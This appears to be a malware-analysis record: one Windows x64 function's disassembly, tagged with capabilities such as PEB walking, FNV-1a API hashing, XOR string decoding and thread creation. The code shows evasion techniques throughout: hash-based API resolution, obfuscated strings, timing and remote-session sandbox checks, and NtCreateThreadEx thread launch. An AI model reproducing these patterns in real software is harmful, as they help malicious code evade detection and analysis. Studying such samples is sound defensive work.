Function at 0x14008c940
Capabilities:
Access peb ldr_data
Create thread
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x440
lea rbp, [rsp + 0x80]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1401340e8]
xor rax, rsp
mov qword [rbp + 0x3b0], rax
movabs rax, 0xe7033ffbc1be9091
movabs r15, 0x671102f2a9e7da5e
mov qword [rbp], rax
xor r13d, r13d
mov rax, qword [rbp]
movabs r12, 0xe7033ffbc1be90a1
mov qword [rbp + 0x80], rax
mov r14, 0xffffffffffffffff
mov qword [rbp], r15
mov r8, r14
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
mov qword [rbp], r15
mov rax, qword [rbp]
vmovdqu xmm0, xmmword [rbp + 0x80]
mov qword [rbp + 0x208], rax
lea rax, [rbp + 0x80]
vpxor xmm1, xmm0, xmmword [rbp + 0x200]
vpxor xmm2, xmm2, xmm2
vmovdqu xmmword [rbp + 0x80], xmm1
vmovups xmmword [rbp + 0xe0], xmm2
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x14008ca20
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0xe0]
call fcn.140028ae0
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], r13
lea rdx, section..fat
mov qword [rbp + 0x198], r13
mov r8, r14
inc r8
cmp byte [rdx + r8], r13b
jne 0x14008ca60
lea rcx, [rbp + 0x180]
call fcn.140028ae0
cmp qword [rbp + 0x198], 0x10
lea rdx, [rbp + 0x180]
mov r8, qword [rbp + 0x190]
lea rcx, [0x140153110]
cmovae rdx, qword [rbp + 0x180]
call fcn.140034580
lea rcx, [rbp + 0x180]
call fcn.140027510
lea rcx, [rbp + 0xe0]
call fcn.140027510
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov edi, ecx
add rdi, r10
mov qword [rbp], rcx
cmp rdi, r10
je 0x14008cb47
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008cb47
mov ebx, dword [rdi + 0x20]
nop word [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008cb42
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14008cb20
cmp r8d, 0x99fbc63d
je 0x14008cb4c
test r9d, r9d
jne 0x14008cb00
mov rax, qword [rax]
jmp 0x14008cad0
mov eax, dword [rdi + 0x24]
lea rdx, [rbp + 0x2a0]
mov ecx, dword [rdi + 0x1c]
add rax, r10
add rcx, r10
mov r8d, 0x104
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
xor ecx, ecx
add r9, r10
call r9
movabs rax, 0xe7033ffba4c6f58f
lea rcx, [rbp + 0x160]
mov qword [rbp], rax
mov edx, socket
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], r15
mov rax, qword [rbp]
vmovdqu xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 0x228], rax
vpxor xmm1, xmm0, xmmword [rbp + 0x220]
vmovdqu xmmword [rbp + 0xa0], xmm1
call fcn.140037aa0
lea rcx, [rbp + 0xa0]
mov r8, r14
nop
inc r8
cmp byte [rcx + r8], r13b
jne 0x14008cbf0
lea rdx, [rbp + 0xa0]
mov rcx, rax
call fcn.140027570
mov qword [rbp + 0x50], r13
lea rsi, [rbp + 0x40]
mov qword [rbp + 0x58], r13
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x40], xmm0
vmovups ymm0, ymmword [rax]
vmovups ymmword [rbp + 0x40], ymm0
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], recv
mov byte [rax], r13b
mov rax, qword gs:[0x60]
cmp qword [rbp + 0x58], 0x10
cmovae rsi, qword [rbp + 0x40]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov edi, ecx
add rdi, r10
mov qword [rbp], rcx
cmp rdi, r10
je 0x14008ccc7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008ccc7
mov ebx, dword [rdi + 0x20]
nop word [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008ccc2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14008cca0
cmp r8d, 0x81f2b7d3
je 0x14008cccc
test r9d, r9d
jne 0x14008cc80
mov rax, qword [rax]
jmp 0x14008cc50
mov eax, dword [rdi + 0x24]
mov rdx, rsi
mov ecx, dword [rdi + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
lea rcx, [rbp + 0x2a0]
add r8, r10
vzeroupper
call r8
lea rcx, [rbp + 0x40]
mov ebx, eax
call fcn.140027510
lea rcx, [rbp + 0x160]
call fcn.140027510
test ebx, ebx
je 0x14008cd19
mov eax, 1
jmp 0x14008d46b
xor edx, edx
xor ecx, ecx
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
movabs rax, 0x8b671197addae4cf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0x671102f2a9e7da32
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
mov qword [rbp], r15
mov rax, qword [rbp]
vmovdqu xmm0, xmmword [rbp + 0x100]
mov qword [rbp + 0x248], rax
vpxor xmm1, xmm0, xmmword [rbp + 0x240]
vmovdqu xmmword [rbp + 0x100], xmm1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov edi, ecx
add rdi, r10
mov qword [rbp], rcx
cmp rdi, r10
je 0x14008ce27
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008ce27
mov ebx, dword [rdi + 0x20]
nop word [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008ce22
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14008ce00
cmp r8d, 0x53b2070f
je 0x14008ce2c
test r9d, r9d
jne 0x14008cde0
mov rax, qword [rax]
jmp 0x14008cdb0
mov eax, dword [rdi + 0x24]
mov ecx, dword [rdi + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
lea rcx, [rbp + 0x100]
add rdx, r10
call rdx
mov ecx, 8
call fcn.1400bf1e0
xor ecx, ecx
mov qword [rax], rcx
mov rcx, qword [0x1401532e8]
mov qword [0x1401532e8], rax
test rcx, rcx
je 0x14008ce78
mov edx, 8
call fcn.1400bf46c
mov ecx, 8
call fcn.1400bf1e0
xor ecx, ecx
mov qword [rax], rcx
mov rcx, qword [0x1401532f8]
mov qword [0x1401532f8], rax
test rcx, rcx
je 0x14008cea4
mov edx, 8
call fcn.1400bf46c
call fcn.14008f280
mov ecx, 8
call fcn.1400bf1e0
xor ecx, ecx
mov qword [rax], rcx
mov rcx, qword [0x1401532f0]
mov qword [0x1401532f0], rax
test rcx, rcx
je 0x14008ced5
mov edx, 8
call fcn.1400bf46c
call fcn.14008ea40
call fcn.1400be078
mov rbx, rax
call fcn.1400be05c
cmp rbx, 0x989680
jne 0x14008cef6
imul rbx, rax, 0x64
jmp 0x14008cf17
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
mov rbx, rax
imul rax, rcx, 0x3b9aca00
add rbx, rax
call fcn.1400be078
mov rdi, rax
call fcn.1400be05c
cmp rdi, 0x989680
jne 0x14008cf33
imul rax, rax, 0x64
jmp 0x14008cf51
cqo
idiv rdi
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
sub rax, rbx
vxorps xmm0, xmm0, xmm0
vcvtsi2sd xmm0, xmm0, rax
vdivsd xmm1, xmm0, qword [0x1401170c8]
vcomisd xmm1, qword [0x140117080]
ja 0x14008d3bd
call fcn.14008d6d0
test al, al
jne 0x14008d3bd
call fcn.14008d720
test al, al
jne 0x14008d3bd
mov ecx, 0x59
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 0x5b
mov ebx, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
test ebx, ebx
jne 0x14008d3bd
test eax, eax
jne 0x14008d3bd
call fcn.14008d750
lea rbx, [0x14008c410]
test al, al
je 0x14008d07a
movabs rax, 0xe7033f97a4cbfec0
mov r8, r14
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
mov qword [rbp], r15
mov rax, qword [rbp]
vmovdqu xmm0, xmmword [rbp + 0xc0]
mov qword [rbp + 0x268], rax
lea rax, [rbp + 0xc0]
vpxor xmm1, xmm0, xmmword [rbp + 0x260]
vpxor xmm2, xmm2, xmm2
vmovdqu xmmword [rbp + 0xc0], xmm1
vmovups xmmword [rbp + 0x120], xmm2
mov qword [rbp + 0x130], r13
mov qword [rbp + 0x138], r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x14008d050
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x120]
call fcn.140028ae0
lea rcx, [rbp + 0x120]
call fcn.140025570
jmp 0x14008d0b5
mov qword [rsp + 0x50], r13
lea rcx, [0x140152830]
mov qword [rsp + 0x48], r13
mov r9, r14
mov qword [rsp + 0x40], r13
xor r8d, r8d
mov qword [rsp + 0x38], r13
mov edx, 0x2000000
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
mov rcx, qword [0x1401532e8]
lea rdx, [rbp + 0x60]
movabs rdi, 0x4a60e2ade31c38b3
movabs rsi, 0x99334afc4de63c30
movabs r15, 0x82775e9eb3fde4ef
movabs r12, 0x1f546693cc95b20a
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0xe7033ffbc1be90a1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x671102f2a9e7da5e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp], rdi
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0x60]
mov qword [rbp + 0x1d8], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x1c0]
vmovdqu ymmword [rbp + 0x60], ymm1
vzeroupper
call fcn.14008d4a0
mov qword [rsp + 0x58], r13
lea rcx, [0x140152830]
mov dword [rsp + 0x50], r13d
mov r9, r14
mov dword [rsp + 0x48], r13d
xor r8d, r8d
mov edx, dword [rax + 4]
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x38], r13d
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], edx
mov edx, 0x2000000
call fcn.1400bb840
test eax, eax
jns 0x14008d1d1
mov eax, 0xfffffff4
jmp 0x14008d46b
mov rcx, qword [0x1401532e8]
lea rdx, [rbp + 0x20]
mov qword [rbp], r15
movabs rbx, 0x671102f2a9e7da5e
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0xe7033ffbc1be90a1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp], rbx
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp]
mov qword [rbp], rdi
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0x20]
mov qword [rbp + 0x1f8], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x1e0]
vmovdqu ymmword [rbp + 0x20], ymm1
vzeroupper
call fcn.14008d4a0
mov qword [rsp + 0x58], r13
mov r9, r14
mov dword [rsp + 0x50], r13d
xor r8d, r8d
mov dword [rsp + 0x48], r13d
mov edx, 0x2000000
mov ecx, dword [rax + 4]
lea rax, [0x14008c420]
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x38], 0x40
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
lea rcx, [0x140152840]
call fcn.1400bb840
test eax, eax
js 0x14008d3b5
mov rcx, qword [0x1401532e8]
lea rdx, [rbp + 0x20]
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0xe7033ffbc1be90a1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
vmovdqu ymm0, ymmword [rbp + 0x1a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqu ymmword [rbp + 0x20], ymm1
vzeroupper
call fcn.14008d4a0
mov qword [rsp + 0x58], r13
mov r9, r14
mov dword [rsp + 0x50], r13d
xor r8d, r8d
mov dword [rsp + 0x48], r13d
mov edx, 0x2000000
mov ecx, dword [rax + 4]
lea rax, [0x14008c930]
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x38], 0x40
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
lea rcx, [0x140152838]
call fcn.1400bb840
test eax, eax
js 0x14008d3b5
jmp 0x14008d3b3
mov eax, r14d
jmp 0x14008d46b
movabs rax, 0xe7033ffbc1befdd7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
mov qword [rbp], r15
mov rax, qword [rbp]
vmovdqu xmm0, xmmword [rbp + 0x1a0]
mov qword [rbp + 0x288], rax
lea rax, [rbp + 0x1a0]
vpxor xmm1, xmm0, xmmword [rbp + 0x280]
vpxor xmm2, xmm2, xmm2
vmovdqu xmmword [rbp + 0x1a0], xmm1
vmovups xmmword [rbp + 0x140], xmm2
mov qword [rbp + 0x150], r13
mov qword [rbp + 0x158], r13
nop dword [rax]
inc r14
cmp byte [rax + r14], r13b
jne 0x14008d440
mov r8, r14
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x140]
call fcn.140028ae0
lea rcx, [rbp + 0x140]
call fcn.140025570
mov rcx, qword [rbp + 0x3b0]
xor rcx, rsp
call fcn.1400bf1c0
lea r11, [rsp + 0x440]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret